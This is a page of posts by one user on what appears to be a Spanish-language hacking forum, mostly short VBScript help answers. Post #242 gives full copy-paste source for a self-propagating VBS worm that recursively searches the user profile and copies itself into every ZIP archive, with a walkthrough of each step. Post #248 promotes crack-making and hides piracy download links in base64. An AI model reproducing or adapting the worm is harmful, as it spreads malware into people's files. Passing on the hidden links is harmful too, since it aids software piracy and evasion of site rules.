Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Mad Antrax

#241
Cita de: kenrigls en 10 Abril 2014, 11:01 AM
como haria para que
un programa me resuelva la diferencia entre dos conjuntos
dado que el conjunto A es una cadena (text1) en donde estan todos los elementos separados por comas al igual que B (text2)

A={a,b,c,d,e,f}

B={a,c,d}

la diferencia A-B son todos los elementos que estan A pero que no esten B
y el resultado lo devuelva en otra cadena(text3) separados por comas

A-B={b,e,f}

y si no es molestia tambien la interseccion
como lo haria? :huh: mucho mejor si me contestan a la brevedad que mañana tengo una prueba!!! :-(

gracias por sus respuestas

Aquí lo tienes. Se utiliza la función FILTER(), devuelve un array filtrando otro array existente:

Código (vb) [Seleccionar]
A=Array("a","b","c","d","e","f")
B=Array("a","c","d")


For i = 0 to Ubound(B)

A = Filter(A,B(i),False,1)

Next

For i = 0 to Ubound(A)

MsgBox A(i)

Next


El de inserción es más sencillo, así que te lo dejo para que lo pienses un poco.

Un saludo

REF: http://ss64.com/vb/filter.html
#242
Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:


Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName


2) Recoger la ruta de los ficheros de la carpeta %userprofile%

   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files


3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If


6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next


==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código (vb) [Seleccionar]
On Error Resume Next

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

Function ZipSpread(P)
   On Error Resume Next
   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files
   
   For Each File In Files
       ext = LCase(oFSO.GetExtensionName(File.path))
       If ext = "zip" Then
EXE = SelfPath
ZIP = File.path
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
RR = ""
For Each CC in FILE.Items
RR = RR & CC.Name
Next
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
       End If
   Next
   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next
End Function

Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
F.Close

MsgBox "<end>"


Saludos!! :D
#243
Cierra el proceso que tiene abierto el fichero y luego lo borras
#244
Yo personalmente intento evitar el uso de aplicaciones que vienen con un setup.exe o install.exe

No me gusta, prefiero un sencillo exe ejecutable y nada más.

Las veces que he necesitado empaquetar un conjuto de librerías he usado NSIS Nullsoft Scriptable Install System, para mi es el instalador menos intrusivo y más sencillo de utilizar.

Un saludo
#245
Código (vb) [Seleccionar]
tmp = Int(rnd * 17000)

Felicidades :D
#246
Te ha quedado de miedo!! :)

He revisado el source del VBS (lo que más me interesa) y me ha gustado. Si no te importa cogeré alguna función que me ha gustado, estoy a la espera de poder publicar mi RAT. Por mi parte solo le añadiría más opciones, ya que la "base" la tienes completa

Saludos
#247
Si es con ese formato, yo me posicionaría en el archivo con InStr() y Split()
#248
Yo te recomiendo WINHEX, lo utilizo para crear "cracks" y me funciona de maravilla, te dejo un tutorial donde se explica como comparar archivos EXE, te indica las diferencias, los offsets y los valores. Puedes comparar un fichero completo o solo una zona:

[Tutorial] Programar un patcher/crack con estilo
http://foro.elhacker.net/buscador-t381294.0.html




Hay más programas para comparar, otro muy bueno es

DM UltraEdit + IDM UltraCompare Professional

No puedo postear links de descargas piratas, pero fijo que ésto lo podrás ver :)

UXVlIGhheSBlc2NvbmRpZG8gYXF1w60/DQoNCmh0dHA6Ly93d3cubnNhbmVkb3duLmNvbS8/cmVxdWVzdD0xOTkxNDg0DQpodHRwOi8vd3d3Lm5zYW5lZG93bi5jb20vP3JlcXVlc3Q9NjAyNzMxOA==

Saludos!! :)
#249
Otra idea:

Código (vb) [Seleccionar]

respuesta = InputBox ("ESCRIBA MOTIVO MERMA", "MERMA")

Select Case respuesta
    Case 51
        'Aquí tu acción por responder 51
    Case 52
        'Aquí tu acción por responder 52
    Case 53
        'Aquí tu acción por responder 53
    Case 54
        'Aquí tu acción por responder 54
    Case 70
        'Aquí tu acción por responder 70
    Case 71
        'Aquí tu acción por responder 71
    Case 72
        'Aquí tu acción por responder 72
    Case Else
        'Has fallado, melón
End Select
#250
Y que llevas programado por el momento? Que es lo que no logras hacer?

No se, me da la impresión que no tienes programado nada y vienes aquí a que te hagamos el trabajo gratis xD